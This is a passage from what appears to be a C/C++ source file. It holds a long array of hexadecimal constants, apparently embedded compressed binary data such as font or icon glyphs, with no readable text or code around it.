0x20778236, 0x0c401816, 0xc090280b, 0x26263446, 0x7e1d2634, 0x042a0d14, 0x9d080a02, 0x400d1380, 0x6947130d, 0x6060220d, 0x242d82a0, 0x0dba3426, + 0x050a7e07, 0x0d070d2b, 0x6060a001, 0x0013130d, 0x0c434804, 0x45003922, 0xd548a392, 0x4113200c, 0x33481afb, 0x0f27480b, 0x2005ed48, 0x0dd94248, + 0x08b00822, 0xad8d0282, 0x26261a23, 0x05f2481a, 0x4adefe21, 0xc8270c57, 0x10080810, 0x85000008, 0x064b45b3, 0x3c003827, 0x00004000, 0x13884b37, + 0x15231722, 0x2007934b, 0x08066321, 0x20064345, 0x06495633, 0x23350524, 0x03822115, 0x09079028, 0x40700709, 0x07837040, 0x30308022, 0x8509b247, + 0x6002210b, 0xfe2a1182, 0x8001a0a9, 0x0709c0a0, 0x4e4507e0, 0x45088306, 0x2022074e, 0x0a8b0907, 0x00824020, 0xdc2fab85, 0xa0014402, 0x13000b00, + 0x27001d00, 0x4c120000, 0x9184051f, 0x0d541720, 0x17372a06, 0x2e060716, 0x013e3702, 0x05d26d1e, 0x42363724, 0x0282425c, 0x281ca03c, 0x07d2ec1c, + 0x54762f07, 0xc3062208, 0x05230953, 0x0706d307, 0x42a0012f, 0xaf4ae02e, 0x4a9e2005, 0x1e2b05a8, 0x230507d3, 0x2f765309, 0x82543707, 0xd2072404, + 0x42220607, 0x012c06e3, 0x00c00180, 0x00310021, 0x21351300, 0x44062f6b, 0x33270989, 0x34013d32, 0x8435012b, 0x37232107, 0x2c0e0156, 0x13400120, + 0x0d00ff0d, 0x08087813, 0x22038678, 0x5e0e0ad0, 0x002b08c7, 0x0da0fe40, 0x400d1313, 0x87081008, 0x0ec02203, 0x07fd530a, 0x374b0020, 0x000f250c, + 0x00350019, 0x6f052755, 0x7a820547, 0x13333622, 0x2008b373, 0x1a294537, 0x89680121, 0x87082076, 0x0f4b4695, 0xfe237a8a, 0x84600120, 0x42c5209b, + 0x00200c46, 0x2905db46, 0xc1018002, 0x3f002300, 0xdb4d4700, 0x5421200e, 0x272115e3, 0x05ca7122, 0x37011f34, 0x011f3236, 0x14163233, 0x27012b06, + 0x2f220607, 0xcb560201, 0x10022106, 0x122b6918, 0x0709c035, 0x8d080888, 0x32140205, 0x1c041404, 0x09090766, 0x84167a07, 0x344c290b, 0x26342626, + 0xa02e42e0, 0x2109ca55, 0x0b836001, 0x0790f031, 0x10088009, 0x63280408, 0x09370909, 0x832c090e, 0x00ff2107, 0x26222e82, 0x03430034, 0x0049260c, + 0x00590051, 0x25c58a5e, 0x26220614, 0x05832335, 0x8608e441, 0x47c282bc, 0x32200716, 0x23210b82, 0x60178521, 0x332008c9, 0x162ad982, 0x3204011d, + 0x22263436, 0x07871406, 0x27353726, 0x70021523, 0x3823a484, 0x82803850, 0x08982603, 0x0808d008, 0x200587f0, 0x250982fe, 0x01141c38, 0xe4181400, + 0xda83244e, 0x8805e564, 0x14302805, 0x30141c1c, 0x180e640e, 0x21145ee4, 0xfb4b0600, 0x000b2a08, 0x00330023, 0x004e0037, 0x0ca9655a, 0x1e033324, + 0xec541d01, 0x09415d08, 0x42031421, 0x05240ed1, 0x01152335, 0x2a8a2b8a, 0xf8651720, 0x02332a09, 0x30080878, 0x291f0808, 0x2206822e, 0x821d1f24, + 0x07702405, 0x71070909, 0x012605d9, 0x0801b060, 0x14821e1a, 0x823c2421, 0x84582004, 0x4c60202b, 0x260805f3, 0x571b0901, 0x08081e31, 0x1442261e, + 0x083e2513, 0xfe0b3e08, 0x800709f1, 0x141c0907, 0x701c1440, 0x42014040, 0x83213912, 0x192c2421, 0x8242412a, 0xee2c2120, 0x00353a85, 0xfffcff02, + 0x010402bc, 0x001f00c4, 0x1300003e, 0x06071737, 0x0512442f, 0x27013f25, 0x56013f26, 0x27240cb3, 0x010f1637, 0x17201f83, 0x03200784, 0x36231f82, + 0x8337021f, 0x17363b27, 0xb68840ca, 0x4240261b, 0x050c0506, 0x04074305, 0x05381a1b, 0x06060b06, 0x07852d37, 0x8205fd21, 0x1c062b18, 0x0606492d, + 0x11050622, 0x07851188, 0x1c2d3923, 0x29268206, 0x41110105, 0x051cb588, 0x26844307, 0x26404225, 0x83381b1b, 0x37062218, 0x2107842e, 0x4d849505, + 0x4a2d1c23, 0x203f8205, 0x253f8306, 0x06062205, 0x3f823811, 0x05295882, 0xff040000, 0x02c0ffff, 0x08cb8284, 0x1a000b23, 0x2e002400, 0x32120000, + 0x06161716, 0x26222123, 0x32053635, 0x010e1516, 0x022e2223, 0x33363427, 0x08f84400, 0x0b450720, 0x64362e06, 0x01095b78, 0xd0fe0306, 0x01090503, + 0x3404822f, 0x371e3c5b, 0x05051c2a, 0x541f0203, 0x07052309, 0x2f0707d3, 0x20048346, 0x290e8376, 0x3a4d0001, 0x03060603, 0x0382633a, 0x24154d2c, + 0x06031d31, 0x76546b01, 0x2882072f, 0x82230521, 0x23052228, 0x200e8309, 0x20008200, 0x359b8401, 0x00c30101, 0x01000028, 0x010f1416, 0x22060723, + 0x013f3426, 0x62413735, 0x0a1e580c, 0x01013e35, 0xfe1c23dd, 0x14075964, 0x2d59070e, 0x0b060632, 0x8a320606, 0x33f68307, 0x4d1b2e33, 0x5221ac01, + 0x0759fd1c, 0x5907140e, 0x05332e65, 0x06211782, 0x21079032, 0x8782061c, 0xfdff022d, 0xe401cfff, 0x1500b401, 0x82001900, 0x05cf4189, 0x22230624, + 0xe67b2627, 0x27372709, 0x05de0107, 0x71822205, 0x2b1ef629, 0x061b1f2f, 0x840bf21e, 0x4608260f, 0x0601944f, 0x241a8606, 0x1e522024, 0x269482f1, + 0xee050522, 0x82944f45, 0x4305205f, 0x132b0837, 0x27001700, 0x3f003b00, 0x43130000, 0xec4205f6, 0x064d5105, 0x33153322, 0x5b07d953, 0x2796098b, + 0x0808482d, 0x180808d0, 0x302f422f, 0x47a00140, 0x0121092a, 0x23188b58, 0x08300880, 0xf0280282, 0x212f2f21, 0xfe6060f0, 0x200a985a, 0x471b8e01, + 0x0b200bd3, 0x2322a782, 0xdb434100, 0x05a24406, 0x86059d5a, 0x8325200b, 0x270b82b7, 0x33343735, 0x11151625, 0x8207df58, 0x06ed5812, 0x34113531, + 0x32362537, 0x08f80117, 0x0890fe08, 0x8c700108, 0x08012d07, 0x081ed901, 0x0e130850, 0x130e82fe, 0x1e240882, 0x14081001, 0x820bd049, 0x85c020b6, + 0x0c8b2bbd, 0x08a9fe20, 0x130df808, 0x4d820d13, 0x20570126, 0x0404710c, 0x28074346, 0x00c00100, 0x00210019, 0x12354932, 0x14150628, 0x35363216, + 0x1d462734, 0x22272107, 0x372d1288, 0x06012e36, 0x1ac00107, 0xfe1a2626, 0x3a058380, 0x9e711a1a, 0x84641a71, 0x5e845e5e, 0x171711a0, 0x220b1722, + 0x0c0c0502, 0x82800103, 0x2d288422, 0x261a4001, 0x714f332d, 0x2d334f71, 0x278200ff, 0x3a845e24, 0x2b821018, 0x0c0f1128, 0x050c064f, 0xef410605, + 0x00072a0c, 0x001f000f, 0x007d0033, 0x054f5900, 0x18342621, 0x5d075544, 0x21451073, 0x013b260d, 0x27112111, 0x08134835, 0x108c5f18, 0x210e226c, + 0x3f522315, 0x013d2205, 0x21f38433, 0x4d482634, 0x26078407, 0x09090ee9, 0x84b7090e, 0x42d02005, 0x0221092c, 0x2b0b8960, 0x60000230, 0x08688808, + 0x10086808, 0x08230382, 0x85088868, 0x1440260e, 0x1c281c1c, 0x22038240, 0x8340141c, 0x0888221f, 0x224c8240, 0x84170e09, 0x97012105, 0x20091051, + 0x0a7c49fe, 0xfe600127, 0x0810c8a0, 0x634d8220, 0x0a830605, 0x4a840384, 0x84101021, 0x08108457, 0x03000025, 0xdefffeff, 0xa2018202, 0x22001700, + 0x00002d00, 0x013f3225, 0x0f061415, 0x012f0601, 0x013d012e, 0x82331617, 0x16172311, 0x13851637, 0x17363727, 0x011f3621, 0x081e8407, 0xaa01375a, + 0x0e890607, 0x100fd90a, 0x890e0ad8, 0x0e1c0706, 0xf00e4040, 0xc6080604, 0xfa5c060c, 0xeafd050c, 0x5cfa0c05, 0x08c60c06, 0x02c00406, 0x110bb227, + 0x04043603, 0x0b110336, 0x170227b2, 0x70176b6b, 0x38020e07, 0x20980b04, 0x010a0a01, 0x040b9820, 0x070e0238, 0x04000000, 0xe02d9782, 0xa0010002, + 0x1c001400, 0x2c002400, 0x05a34c00, 0x2722232e, 0x26222306, 0x023e2627, 0x34352637, 0x870f7458, 0xd496380f, 0x386a9696, 0x024c4133, 0x07020104, + 0x39061c11, 0x13131a73, 0x8a93131a, 0xa0012405, 0x197aac7a, 0x200bab0e, 0x8d208276, 0x00002202, 0x08576c02, 0x85820f20, 0x34370024, 0x7f820537, + 0x37248384, 0x05263736, 0x210a596c, 0x6b71011f, 0x09402506, 0x28264501, 0x05277d83, 0x0b2c0304, 0x6c3a0239, 0x69320c54, 0x966a6049, 0x1c1ad039, + 0x33130afc, 0x2b34040a, 0x4d6c9039, 0x3552260c, 0x3a48567a, 0x207b8200, 0x28008200, 0x80018002, 0x39001100, 0x227b8200, 0x69012b26, 0x15290577, + 0x1d062223, 0x32252101, 0x81451816, 0x08de4e16, 0x09822120, 0x26a0333b, 0x2838201a, 0x38284001, 0xfe261a20, 0x1aa001c0, 0x07092026, 0xfe090740, + 0x20068480, 0x271f8220, 0x8001130d, 0x1ae00d13, 0x382ab882, 0x401a2628, 0x241a2660, 0x45187913, 0x792a095c, 0x261a2413, 0x60600d13, 0xd74a130d, + 0x00022908, 0x0700c001, 0x68004600, 0x27098754, 0x15010e27, 0x011f1614, 0x062b9982, 0x2622012b, 0x1406010f, 0x82171617, 0x013b2b13, 0x013d3632, + 0x3435013e, 0x1c7b2f26, 0x3f162707, 0x27263601, 0x13822726, 0x3a822c82, 0x2a0e9e43, 0x1716013b, 0x011d2223, 0x4b213314, 0x363f05a9, 0xac560137, + 0x7aac7a7a, 0x182219e6, 0x0a0c3f13, 0x100a2607, 0x05041006, 0x07091813, 0x820a070b, 0x3e142515, 0x27060a0c, 0x01301584, 0x0a181304, 0x08040c06, + 0x130df604, 0x40fe0d13, 0x202d0583, 0x0a3f2b1e, 0x0a6c010a, 0x1e2c400a, 0x2e4a8220, 0x01c5ac7a, 0x21151a24, 0x0e031306, 0x820a0a08, 0x030a294d, + 0x0711010e, 0x10070a0a, 0x04271895, 0xf1fe0508, 0x83600d13, 0x2104824e, 0xca491927, 0x19280805, 0xff030027, 0x02bffffe, 0x00c30100, 0x00290009, + 0x01000031, 0x37362726, 0x16171636, 0x07333717, 0x2b061415, 0x23060701, 0x3621f282, 0x2219823f, 0x5c343526, 0x172305de, 0x42363435, 0x510807bb, + 0x354e2001, 0x13072011, 0x702c0a02, 0x425e2070, 0x0c0a414d, 0x06052e6b, 0x11169008, 0x15041a55, 0x4e7d1e04, 0x090e1a2f, 0x01090e09, 0x313b1019, + 0x0a060825, 0x404b3845, 0x385e42a0, 0x07480408, 0x10240210, 0x3d685111, 0x450a0937, 0x213c0558, 0x2982602f, 0x820e0921, 0x00002e8a, 0x4102c0ff, + 0x25008000, 0x16250000, 0x1c611806, 0x08517f0c, 0x012b2608, 0x16140622, 0x3f32013b, 0x02323601, 0x0c010c35, 0xfe161297, 0x0909079b, 0x202f3707, + 0x130fa02a, 0x0c140202, 0x360f834e, 0x5d111776, 0x0a781809, 0x0e79091e, 0x07600709, 0x171a2609, 0x820f0c0e, 0x4a0e236e, 0xf7530008, 0x01412606, + 0x001200c3, 0x2d718238, 0x37362627, 0x011f1636, 0x17013e37, 0x7d82011e, 0xa4052221, 0x13013584, 0x1a03176d, 0x0b153d17, 0x173c160b, 0x6d18031b, + 0x1c010e06, 0xc63298a1, 0x16481872, 0x0c160514, 0x1405160c, 0x72184816, 0xaa974806, 0xc029ab88, 0x6e004500, 0x2e010000, 0x43ad8301, 0x16260846, + 0x14151617, 0xb3821407, 0x2b262732, 0x14152201, 0x021e011f, 0x07061617, 0x010e1415, 0x2505175b, 0x35262726, 0xb8633734, 0x013b2505, 0x27343532, + 0x63413383, 0x14152212, 0x41338415, 0x013e0965, 0x031a120f, 0x0a192003, 0x0a071207, 0x02051013, 0x09061302, 0x09240605, 0x140c3607, 0x1982020d, + 0x04080522, 0xf0211a8f, 0x0e98410b, 0x41130d21, 0x21080d97, 0x19053001, 0x02251811, 0x09090712, 0x09021207, 0x03030604, 0x06110201, 0x07080204, + 0x0e030f01, 0x1c830b13, 0x04080422, 0xa9241d91, 0x0a0f0e0a, 0x2308d341, 0x02030d13, 0x4109d541, 0xc02809d7, 0x31000b00, 0x22240000, 0x2306c642, + 0x17141516, 0x2825d041, 0x53385048, 0x53051005, 0x21c441b5, 0x2737c02a, 0x0606702c, 0x7f272c70, 0x3417bc41, 0xff000002, 0x018002c0, 0x00220080, + 0x37000045, 0x011d1617, 0x05e75714, 0x26012f22, 0x2705e273, 0x1617011d, 0x36013f32, 0x3e241082, 0x32241601, 0x0f212283, 0x06045801, 0x3f252282, + 0x1e013e01, 0x05c17901, 0x2f082782, 0x39cd3435, 0x8407091a, 0x0703030c, 0x1a130a69, 0x0e045a13, 0x080a0d05, 0x16030826, 0x1a8e011a, 0x07690a13, + 0x840c0303, 0x391a0907, 0x03161a08, 0x2a081882, 0x0e050d0a, 0x4dda5a04, 0x07702b22, 0x090c0c09, 0xda110d87, 0x0d13130d, 0x05066c94, 0x330b090d, + 0x04101a0b, 0xda0d139c, 0x83870d11, 0x7007281e, 0x0a4d222b, 0x821a1004, 0x0d092719, 0x946c0605, 0x0082000d, 0xfdff022d, 0x8302bdff, 0x2500c301, + 0x50004000, 0x2b22072d, 0xd0831501, 0x20053d44, 0x25c38226, 0x35013f36, 0x15823f34, 0x36321628, 0x1625013d, 0x0f820f06, 0x26842620, 0x98672220, + 0x3b362605, 0x16363701, 0x055c7817, 0x0d130836, 0x891a2610, 0x071a0b67, 0x0b070650, 0x2a411f50, 0x2c012a3c, 0x212a0a83, 0x2217b817, 0x10210f17, + 0x1e836712, 0x0e00012c, 0x0e0a300a, 0x1a130d40, 0x1f823c26, 0x1a0b8b2f, 0x24302e06, 0x1e7a2713, 0x381e2a2a, 0x2c0e8325, 0x5821171c, 0x11171711, + 0x1509127e, 0x4c24830a, 0xc0220a53, 0xb5823500, 0x2b061625, 0x18160701, 0x2c0be06e, 0x22232737, 0x023e3726, 0x23150637, 0x089b8217, 0x34233544, + 0x15163236, 0x32331523, 0x34233717, 0x02011e27, 0x070a0100, 0x09028909, 0x0d80090e, 0x09890213, 0x04010a07, 0x3e29432e, 0x0107741c, 0x5e517030, + 0x01307051, 0x3e1c7407, 0x1101583f, 0x06980a07, 0x2a828002, 0x800d133b, 0x0a980602, 0x2c412407, 0x826c440e, 0x6e528002, 0x0280526e, 0x15446c82, + 0x21968254, 0x4f410500, 0x00c02e06, 0x000f0007, 0x0065001a, 0x1200006e, 0x99fe1822, 0x1613210d, 0x2d065f5d, 0x0f16023f, 0x23020e02, 0x012e2322, + 0x757f013f, 0x010f2705, 0x26230706, 0x0282012f, 0x16170724, 0x2b82011f, 0xcb822220, 0x26022f22, 0x37212182, 0x20128236, 0x08264402, 0x17311186, + 0x07011f05, 0x012e010e, 0x1c289437, 0x011c281c, 0x08068464, 0x0b054e5d, 0x1606060c, 0x29021b08, 0x4316070a, 0x0e09010a, 0x0d030108, 0x030a0110, + 0x07112b0d, 0x06331306, 0x060ba00b, 0x07071233, 0x030d2b11, 0x0d10010a, 0x120c0103, 0x16430a02, 0x1e071307, 0x0d241b1d, 0x0709100b, 0x100907a0, + 0x1b230d0b, 0xfd071e1e, 0x1b0229e5, 0x0b191805, 0x18600105, 0x080a2879, 0x0c70fe5a, 0x14020519, 0x642e1345, 0x5d4c1920, 0x02070d08, 0x145c0e14, + 0x1547310f, 0x04210d13, 0x21040101, 0x4715130d, 0x5c140f31, 0x1002140e, 0x194c5d0c, 0x0d205020, 0x27150f0c, 0x07600a22, 0x60070909, 0x1527220a, + 0x200d0c0f, 0x45132eb4, 0x190a0b0c, 0x0000000c, 0xfffdff03, 0x2205d355, 0x504b0043, 0x69430581, 0x46062006, 0x222105d9, 0x09266726, 0x2e013d24, + 0xf3413502, 0x32332105, 0x33059b50, 0x0607010e, 0x3e013b16, 0x32013b01, 0x013b3617, 0x06171607, 0x23066d51, 0x34072227, 0x075f5e18, 0x23263124, + 0x84833002, 0x120d3127, 0x07400709, 0x05a44809, 0x1d133908, 0x22192810, 0x19110203, 0x0106060e, 0x02070a06, 0x2b0b0f02, 0x803a580b, 0x2c1d1007, + 0x0d181320, 0x09090e69, 0x17a0090e, 0x50380118, 0xe0050b38, 0x07800709, 0x510d1209, 0x38096052, 0x30270e51, 0x0e19261a, 0x14060c17, 0x05090506, + 0x4937110c, 0x164c2202, 0x05584b1e, 0x0106b72a, 0x38280104, 0x01012838, 0x0032ee82, 0xfffeff02, 0x01c201b8, 0x000800c1, 0x3f000029, 0xf54a1701, + 0x16253205, 0x06010f06, 0x012e0327, 0x3f013e34, 0x36373601, 0x05184232, 0x010f5a08, 0x26373627, 0x75060722, 0x120e5b4f, 0x01030944, 0x090207bb, + 0xf90d1245, 0x05070c0d, 0x0a062c02, 0x0a1f6b22, 0x07112c06, 0x344f2215, 0x215a2104, 0x66588204, 0x061c0c10, 0x16080816, 0x100c1c06, 0x230f1301, + 0x03091b1b, 0x16060c49, 0x490c0616, 0x2617401c, 0x12063b57, 0x09f75212, 0xc0010035, 0x2e002600, 0x43003b00, 0x32250000, 0x23061416, 0x59373621, + 0x222506ff, 0x3b363426, 0x07494101, 0x2326a682, 0x16140622, 0x05831233, 0x34363227, 0x15163204, 0x21158214, 0x3a4b022e, 0xa0012109, 0xfe29f183, + 0xe6151bea, 0x0d13130d, 0x280d8360, 0x50382d2d, 0x18183038, 0x27118360, 0x13131a6d, 0x78fe131a, 0x0b231184, 0x84533520, 0x8280200f, 0x1f212121, + 0x07821882, 0x83204021, 0x50182334, 0x0f821c1c, 0x82000121, 0x1a132404, 0x832838ad, 0x260c2510, 0x48281856, 0x20054670, 0x0a7b7302, 0x00001a22, + 0x4706ea49, 0x3608053d, 0x25352622, 0x07061433, 0x033e2726, 0x09835d40, 0x09072007, 0xc001835d, 0x10557440, 0x32290f2b, 0x8360013b, 0x0907905d, + 0x83900709, 0x8056405d, 0x1a2f3d09, 0x47111e2a, 0x002606b7, 0x2300c001, 0x2f452700, 0x21232408, 0x79061411, 0x375c0536, 0x08a44308, 0x21351325, + 0x83f00115, 0x90fe214a, 0x30206784, 0x30200b83, 0x20240a84, 0x80014001, 0x66590984, 0x23218a07, 0xe0e0c0fe, 0x2c078741, 0x01f001c8, 0x000700b8, + 0x0022000f, 0x09b7672f, 0x5f341221, 0x48080553, 0x36161737, 0x23032e27, 0x06070622, 0x36013f16, 0x0e260732, 0x32161701, 0x07263637, 0xce912206, + 0x37ce9191, 0x13131a13, 0x060ab11a, 0x0c01010f, 0x140a1411, 0x0f010325, 0x260b0a06, 0x051207bd, 0x2d8c2d05, 0x230a190a, 0x05877f6e, 0x831b0121, + 0x10133b2b, 0x09080609, 0x060b1009, 0x08091218, 0x6f090906, 0x08100408, 0x140c3636, 0x97832a0c, 0x00000323, 0x05ef6aff, 0x19000724, 0xd5592100, + 0x09e34e0a, 0x32363428, 0x07141516, 0xe5543226, 0x34c63a05, 0x26342626, 0x0907d001, 0x70fe0709, 0xba83835d, 0x50c54383, 0x38503838, 0x056f5501, + 0xff84ba20, 0x83241682, 0x40425e5d, 0x2a052467, 0xfffeff03, 0x018002be, 0x4a1600c0, 0x372005e3, 0x2009935e, 0x07935e32, 0x01260635, 0x06141121, + 0x27262223, 0x012f0605, 0x11253726, 0x86123634, 0x325a0876, 0x06030231, 0x3e194d04, 0x07034d19, 0x32010405, 0xd8070601, 0x4c010b07, 0x2e420001, + 0xfe02412d, 0x0d020877, 0x5a010802, 0x1c288913, 0x481c281c, 0x060804ba, 0x105c1402, 0x0301155d, 0x07b90305, 0x023a020b, 0xfe7e0107, 0x3f422e70, + 0x08026c2d, 0x5e02082e, 0x130d4401, 0x2d8240fe, 0x00281c24, 0x0b410500, 0x00292408, 0x56390031, 0xae4406eb, 0x09595e06, 0x524e0983, 0x82352006, + 0x0519599f, 0x5f323321, 0x16200830, 0x2525b086, 0x26273315, 0x07ad4423, 0x136d023f, 0x02120709, 0x022f422f, 0x212f02a4, 0x28181828, 0x0d132f21, + 0x130da001, 0xfe131a26, 0x0b644e10, 0x2b5c3025, 0x84030605, 0x13d32c11, 0x0907561a, 0x2f210808, 0x8208212f, 0x2f212f00, 0x212f2020, 0x130d5001, + 0x13600d13, 0x641813fd, 0xcd230901, 0x77052b30, 0x874405b6, 0xfff92105, 0x2205db7a, 0x8226001e, 0x011e30da, 0x2f06010f, 0x26270101, 0x1f36013f, + 0x82323301, 0x35173fd6, 0x15163637, 0x07061411, 0x06013525, 0x26222123, 0x02057a02, 0x0d0a1404, 0x258bfeb2, 0x0882090c, 0xf44e3808, 0x6e201c14, + 0x0c112210, 0x6e01ddfd, 0xe0fe110d, 0x040a1c14, 0x0c1a050d, 0x21018a09, 0x190d0a1c, 0x1c3d090c, 0x8918b214, 0x14110b4b, 0x120d00ff, 0xfef51001, + 0x831c0ae5, 0x01230883, 0xc0fffbff, 0xc0012501, 0x00001e00, 0x15163217, 0x22012b14, 0x3b363435, 0x012e3501, 0x3e34013f, 0x82013b01, 0x17310815, + 0x15070616, 0x081711d8, 0x111708d0, 0x05403428, 0x04070410, 0x100906e0, 0x10344005, 0x08081117, 0x0c751711, 0x05b23757, 0x07080406, 0x0c5737b2, + 0x205c8275, 0x08634f02, 0x21001722, 0xad7bdf87, 0x011f2205, 0x22df833e, 0x820e1415, 0x173321f3, 0x3d23d682, 0x86363401, 0x07a57bda, 0x4d0c8730, + 0x13543c32, 0x30c01621, 0x1482fef8, 0xd5854f1c, 0x2f079d7b, 0x543d2f69, 0x26301b3c, 0x1cc0330c, 0x4f370a14, 0x21054f57, 0xcb84c001, 0x36002e22, + 0x5b061f69, 0x72830947, 0x17021e22, 0x25082770, 0x2622010e, 0xc14e3727, 0x26342108, 0x0622fa82, 0xf6822f17, 0x07011f25, 0x4a011e17, 0xc24e056d, + 0x1d062105, 0x07e86b18, 0x32163723, 0x06555d06, 0x16322622, 0x35301682, 0x09074034, 0x120e0709, 0x2e183050, 0x0e091e25, 0x60320d86, 0x381a1250, + 0x38283028, 0x1490141c, 0x240c481c, 0x03820c24, 0x338c2708, 0x50141c45, 0x0d800d13, 0x1c145013, 0x70303345, 0x09090e0f, 0x0e57090e, 0x09e02009, + 0x09076007, 0x190e352b, 0x0a861524, 0x582b352c, 0x38382818, 0x17111828, 0x40845917, 0x950c0c2e, 0x0a334c06, 0x0d401c14, 0x400d1313, 0x3323fa82, + 0x4e1f064c, 0x8682050b, 0x07303022, 0x2809c74f, 0x00c00185, 0x001b0007, 0x09c74f2b, 0x5506c967, 0x3b2b070f, 0x37321601, 0x010f1625, 0x42012f06, + 0x37240576, 0x15011736, 0x13a68318, 0x08540132, 0x09088d09, 0x1c090951, 0x692d0908, 0x4bc00809, 0x104a8418, 0x08088022, 0x522b2282, 0x091b0908, + 0x08682d09, 0x55040009, 0x072208ab, 0x87821700, 0x89823320, 0x20063d41, 0x912c1917, 0x2732230d, 0x08421614, 0x25958407, 0x06173233, 0xd1492226, + 0x01210805, 0x545478b4, 0x0ad05478, 0x0a0c0a26, 0xf00a3c0a, 0xa5fe2328, 0x374f1c14, 0x234c2311, 0x120d0b11, 0x20b1842b, 0x372382e0, 0x0c427854, + 0x0a0a360a, 0x2c100a4c, 0x141c184c, 0x104f372a, 0x48260210, 0x8f86ac84, 0xc0018231, 0x43003b00, 0x76004b00, 0x17250000, 0x19060716, 0x2d18a44a, + 0x37262737, 0x1f363736, 0x35373601, 0x4a193734, 0x39440fa3, 0x24a78707, 0x17141513, 0x0c5b4106, 0x16323331, 0x15061433, 0x011f1606, 0x0e071706, + 0x53161701, 0x163d0579, 0x051a6202, 0x04180a01, 0x14111905, 0x06212106, 0x051a1114, 0x020a1704, 0x04041906, 0x23198219, 0x1a050417, 0x192f1987, + 0x0a180405, 0x041a0501, 0x1c1c288a, 0x84ab1c28, 0x024923ec, 0x53190f0c, 0x3508096b, 0x01080211, 0x0c0a0403, 0x08010108, 0x0c040a0c, 0x0a110c1c, + 0x4b050809, 0x2006030f, 0x0f020419, 0x061e070e, 0x01070701, 0x0e071e06, 0x1904020f, 0x0f030620, 0x1d9c1515, 0x6a823020, 0x74281c23, 0x256d834b, + 0x050ad3fe, 0x4d410807, 0x01270806, 0x0d020601, 0x0404071a, 0x19070504, 0x0c1f270d, 0x00030405, 0x00040000, 0x02bfff00, 0x00c00180, 0x001c0007, + 0x422f0024, 0x17200b75, 0xde416a82, 0x3717310c, 0x06010f17, 0x16253726, 0x27010f14, 0x3236013f, 0x29087742, 0x084e293b, 0x04010701, 0xe241edfe, + 0x8a3e3207, 0x083d8947, 0x1901010b, 0x482a0707, 0x14072505, 0x067d4207, 0x084d2e26, 0x0b0a3d0b, 0x91289986, 0x078a4789, 0xe1080b01, 0x2a252082, + 0x07260448, 0x47978607, 0x1b24073f, 0x37002300, 0x09156e18, 0x20130d43, 0x81871824, 0x14153909, 0x34012b06, 0x34013d36, 0x013b3627, 0xee373216, + 0x5c42425c, 0x43302342, 0x3b05336a, 0x21093043, 0x04012146, 0x50383850, 0x422e3038, 0x01b1141c, 0x041d1b28, 0xc0172a17, 0x422f2782, 0x3043625c, + 0x1c1c141d, 0x43301d14, 0x82201010, 0x50383024, 0x142e4258, 0x0104011c, 0x0f2b3927, 0x74000808, 0xc02908d3, 0x1000c301, 0x00003a00, 0x05794425, + 0x29074542, 0x26031737, 0x36013f34, 0xa818011f, 0x3533090b, 0x15273734, 0x07141516, 0x010e1617, 0x2622012b, 0x8226013f, 0x01352413, 0x634b363f, + 0x25080536, 0xd25f364b, 0x14be0e0e, 0x0e0ebe14, 0x6a4b0e60, 0x0c420e4b, 0x01010f0b, 0x042a0304, 0x0b0f0205, 0x4d027f0c, 0x9a830a36, 0x360a2d08, + 0x015f024d, 0x031a0350, 0x2e04042e, 0x17031904, 0x4b351d1c, 0x1c1d354b, 0x0d073510, 0x043e080c, 0x05090406, 0x0d0c083e, 0x00003b07, 0x28097b59, + 0x001c0007, 0x003c0034, 0x0ae54144, 0x41141521, 0x33270ae2, 0x30333732, 0x48250617, 0x646c05a4, 0x06966e09, 0x20073a43, 0x062e6037, 0x23067444, + 0xe7fe0920, 0x2c05f541, 0x11232626, 0x2001080e, 0x0d13130d, 0x2a0483e0, 0x2f422f20, 0x13131a5d, 0x8240131a, 0x05ff4103, 0x11a08b23, 0x06fb410f, + 0x100e0225, 0x83a00d13, 0x26048228, 0x2f2f2150, 0x82905021, 0x1a132327, 0x1483507d, 0x03005022, 0x26088b44, 0x0017000f, 0x8e00002b, 0x0633219a, + 0x2109f941, 0xcb5f011d, 0x013b2909, 0x02373216, 0x09090770, 0x2005c66c, 0x131d459b, 0x0a638018, 0x17453020, 0x297b8511, 0xc001c001, 0x25001000, + 0xe5412d00, 0x34272b12, 0x32352637, 0x33033e17, 0x5f491632, 0x37062c05, 0x33150622, 0x01232634, 0x41473445, 0x320805d6, 0xc0653447, 0x1d312b2b, + 0x231d1807, 0x4b4b3513, 0x0c432c35, 0x130d671c, 0x9f0d13a0, 0x2a344c05, 0x141c1c14, 0x054c342a, 0x1d33c766, 0x1028331d, 0x820b121b, 0x2935278c, + 0x0d13601e, 0x0b43130d, 0x02bd2206, 0x26878280, 0x00170012, 0x8237001f, 0x15162989, 0x07030e14, 0x012e2706, 0x24059f76, 0x37013e07, 0x07d14427, + 0x16140722, 0x3912d144, 0x6e020630, 0x241c1212, 0x0b0b1122, 0x73125035, 0x210b0b0b, 0xdb60043b, 0x6e824b6a, 0x2c372024, 0x99440a09, 0x05013c0a, + 0x07b10101, 0x2f402412, 0x04071626, 0x4e731504, 0x042d0712, 0x4e0fec04, 0x8211263a, 0x6a4b262f, 0x236d4473, 0x06c64104, 0x82060121, 0x0a9f57a6, + 0x22133b48, 0x82323302, 0x070623b4, 0xaa823405, 0x22210524, 0x3a483526, 0x0393320e, 0x35213823, 0xfe26304b, 0x1f331df6, 0xa2fe1f01, 0x06134914, + 0x30073d48, 0x1f362072, 0x4229354b, 0x3920ae0d, 0x1cde0625, 0x0baf5b14, 0x1d001129, 0x40002b00, 0x18250000, 0x28084b5e, 0x3634013d, 0x1732013b, + 0x45de1807, 0x2227300a, 0x3435012e, 0x1e323336, 0x06141501, 0x181f1417, 0x080b9576, 0x37321624, 0x02173233, 0x5c0a0977, 0x5b091b09, 0x4f0e1212, + 0x065c121b, 0x0b07070b, 0x0e0e0a06, 0x223b23d6, 0x0483354b, 0x3a1c4b24, 0x2e41170f, 0x1511220a, 0x21308253, 0x3382095d, 0x0d4f1b33, 0x07451313, + 0x060b0d0b, 0x580e140e, 0x35233b22, 0x2404844b, 0x3a1c286f, 0x06304113, 0x24052f41, 0xc0ff0000, 0x21018201, 0xbb820700, 0xc3440020, 0x0f4b4408, + 0x33273723, 0x07674507, 0x44352021, 0x3526072c, 0x60202030, 0x52432020, 0x026c2305, 0x4842354e, 0x4e352b05, 0x3888bf02, 0x00008838, 0x5f820600, + 0x8202e024, 0x3747a001, 0x00622406, 0x47930085, 0xab87453b, 0x4e221721, 0x073007df, 0x27070622, 0x07222326, 0x07220706, 0x17141517, 0x2d08ec4d, + 0x33323316, 0x1f163336, 0x30170601, 0x4b470623, 0x33372305, 0x10190e27, 0x58470b57, 0xfe2a083a, 0x262634ba, 0x2ea02634, 0x425d4142, 